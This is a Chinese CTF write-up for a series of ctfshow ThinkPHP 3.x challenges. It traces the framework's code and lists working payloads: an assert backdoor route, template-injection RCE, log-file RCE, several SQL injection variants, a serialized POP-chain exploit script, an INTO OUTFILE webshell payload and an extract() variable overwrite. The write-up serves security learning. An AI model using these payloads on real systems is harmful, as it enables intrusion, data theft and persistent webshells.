ThinkPHP专题
web569
打开页面提示

根据ThinkPHP的URL模式中PATHINFO模式
构造出payload
/index.php/Admin/Login/ctfshowLogin
web570
下载附件为Application
此文件为ThinkPHP下的应用文件
包括以下模块
Application目录
- Admin
- Common
- Home
- Runtime
- index.html
打开页面提示闭包路由


打开vscode 全局搜索 function(
路由是什么?
路由定义
路由规则的定义格式为: ‘路由表达式’=>’路由地址和传入参数’
或者:array(‘路由表达式’,’路由地址’,’传入参数’)
发现定义了一个闭包路由

发现call_user_func函数
访问路由
构造payload 回调后门
/index.php/ctfshow/assert/assert($_POST[1])
web571
TMPL_ENGINE_TYPE => Think
payload:?n=

跟进$this->show后跟进$this->view->display

然后继续跟进$this->fetch

由于TMPL_ENGINE_TYPE为Think所以进入else条件

跟进Hook::listen

然后进入了exec函数 继续跟进

看到执行了run方法 跟进

调用了Storage::load来加载模板缓存文件
跟进此方法

这里直接包含了$_filename
看一下$_filename是什么

为这个文件看一下其内容

正是我们传入的
经过解析变成了<?php phpinfo();?>
导致RCE
TMPL_ENGINE_TYPE => php
payload:?n=<?php phpinfo();?>

跟进$this->show后跟进$this->view->display
然后继续跟进$this->fetch

TMPL_ENGINE_TYPE 为 php所以进入if条件
执行了eval此时$_content就是我们所传入的<?php phpinfo();?>
题目环境为TMPL_ENGINE_TYPE => Think
payload:
/index.php/Home/Index/index?n=

web572
开局提示
不超过365次 猜测log文件(根据日期)和365有关 在开启debug模式没有做目录限制可以访问到

本地测试发现的确有 并且命名规则为 年月日的方式

bp设置完成,爆破

发现配置文件

按照他的方式去访问 成功RCE

直接执行/index.php?showctf=**<?php%20system(%27cat%20/f%27)?>
web573
前置知识点
tp3内置的几种方法:
A 快速实例化Action类库
B 执行行为类
C 配置参数存取方法
D 快速实例化Model类库
F 快速简单文本数据存取方法
L 语言参数存取方法
M 快速高性能实例化模型
R 快速远程调用Action类方法
S 快速缓存存取方法
U URL动态生成和重定向方法
W 快速Widget输出方法
payload:?id[where]=id=-1 union select 1,(select flag4s from flags),3,4—+
payload:?id[order]=1 and updatexml(0,concat(0x7e,database(),0x7e),0)—+
payload:?id[having]=1 and updatexml(0,concat(0x7e,database(),0x7e),0)—+
payload:?id[group]=1 and updatexml(0,concat(0x7e,database(),0x7e),0)—+
进入debug调试

跟进find函数

648行并没有进入if条件 因为我们传入的where 为 id=-1 union select 1,2,3,4—+ 不是数组

这里调用了$this->db->select函数

跟进select函数

调用了$this->buildSelectSql函数 次函数为创建sql语句函数 最容易出现问题
跟进$this->buildSelectSql函数

继续跟进$this->parseSql函数

既定sql语句(为图中$sql) 用str_replace函数来调用里边的函数方法由于我们传入的是where方法
所以进入984行

最后返回结果 会拼接 $whereStr为拼接内容

最后执行

id[having] id[order] id[group] 同理
web574
payload:?id=-1) union select 1,group_concat(flag4s),3,4 from flags%23
先传入一个正常的id=1 来debug调试一下 运行逻辑
先进入了where函数 跟进

这里$where变成数组(array(_string=>id=1))赋值给$this->opyions[‘where’]
继续跟进find函数 看到执行了select函数跟进

看到执行了select函数跟进 执行了buildSelectSql函数 跟进

执行了parseSql函数跟进 上述介绍过了这里 所以直接跟进到parseWhere函数

这里有一个解析特殊表达式的函数 跟进

此时$whereStr变成了id=1 并且加了( )进行返回

最后执行到了这里

故构造出了上述payload 用)进行了闭合
web575
ThinkPHP3.2.3的反序列化链子
复现环境 PHP5.6
复现工具 vscode
先搜索function __destruct

发现Think/Library/Think/Image/Driver中Imagick类

调用了destroy方法 并且$this->img可控 全局搜索destroy方法
发现Think/Library/Think/Session/Driver中Memcache类

$this->handle可控 $this->sessionName可控 $sessID不可控
全局搜索delete方法
/Think/Library/Think中Model类中的delete方法

如果$options $this->options[‘where’]为空进入第一个if条件
控制$this->data进入第二层if条件 再调用自身类的delete方法
$pk可控($this->pk) $this->data[$pk]可控
再次调用delete方法时 会执行到这里
设置$options[‘where’] 不然会直接返回false
518行中调用$this->db->delete方法
这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去
ThinkPHP/Library/Think/Db/Driver中Mysql类中的delete方法

919行直接将$options[‘table’]拼接到了DELETE FROM后面
933行执行了execute方法

调用了$this->initConnect方法(初始化数据库连接)

跟进connect方法

调用了$config=$this->config
最后通过PDO进行了数据库连接
分析完了 整理一下POP Chain
Imagick::__destruct()->Memcache::destroy()->Model::delete()->Mysql::delete()->Mysql::execute()->Mysql::initConnect->Mysql::connect()
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img=new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $data=array();
protected $options=array();
protected $db=null;
public function __construct(){
$this->db=new Mysql();
$this->pk='id';
$this->options['where']='';
$this->data[$this->pk]=array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(0,concat(0x7e,database(),0x7e),0)#'
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config;
protected $options;
public function __construct(){
$this->config=array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'security', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
$this->options= array(
//PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
//PDO::MYSQL_ATTR_MULTI_STATEMENTS => true, //把堆叠开了,开启后可堆叠注入
);
}
}
}
namespace{
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
web576
前言
越发渴望“自由”,以致想要轻声啜泣
复现过程
工具:vscode+debug

跟进comment方法

随后进入了find方法 最后执行到了$this->db->select方法(这个方法在分析find注入时候一样)
跟进select方法 里面有$this->buidSelectSql方法 跟进

跟进这个$this->parseSql方法

会执行这个$this->parseComment方法

直接返回了/$comment/

最终执行的sql语句 传入1*/闭合即可
看到是limit后注入
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr …]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], … [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], …]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE ‘file_name’ export_options
| INTO DUMPFILE ‘file_name’
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
limit后面可以跟PROCEDURE INTO OUTFILE
用INTO OUTFILE写马 或者用 procedure报错
/index.php?id=1*/ into outfile '/var/www/html/huahua.php' LINES TERMINATED BY 0x3c3f706870206576616c28245f504f53545b315d293b3f3e /*
/index.php/Home/Index/index?id=1*/ *procedure* analyse(extractvalue(rand(),concat(0x3a,user())),1) /*
web577
payload:?id[0]=exp&id[1]==updatexml(0,concat(0x7e,database(),0x7e),0)—+
一般用数组的地方都容易出现sql注入

跟进一下find函数执行到748行

跟进一下这个748行的函数 发现了653行的if条件is_scalar函数($val为标量返回true)
什么是标量
布尔、整数、浮点数、字符串型的数据是属于标量的
而$val值是数组(因为$options[‘where’]是我们传入的数据[id=>[exp,updatexml]])
所以没有进入$this->_parseType函数 造成了不安全

那为什么没有进入$this->_parseType函数就能造成不安全呢?看一下此函数定义

有一个intval函数的操作
继续,看到了select函数 跟进

继续跟进buildSelectSql函数

看到了我们的old friend parseSql函数

继续跟进到parseWhere函数

由于我们传入的value是数组所以会进入了parseWhereItem函数

跟进此函数

进入了大的if条件 嵌套的if条件也满足了$exp=$val0 接着会进入到569行

将$key(id) $val[1] (=updatexml…) 拼接到$whereStr并返回
最终形成的sql语句

web578
payload=?name=_content&from=<?php phpinfo();?>
跟进$this->assign函数 看看是干什么用的 (具体可查看官方手册)


把我们传入的$name $value 作为键值对的形式存入了$this->tVar数组

继续跟进$this->display函数

跟进$this->fetch函数

当模板引擎为php的时候 会进入extract函数 导致变量覆盖漏洞

$_content的内容就覆盖成了传入了$from值

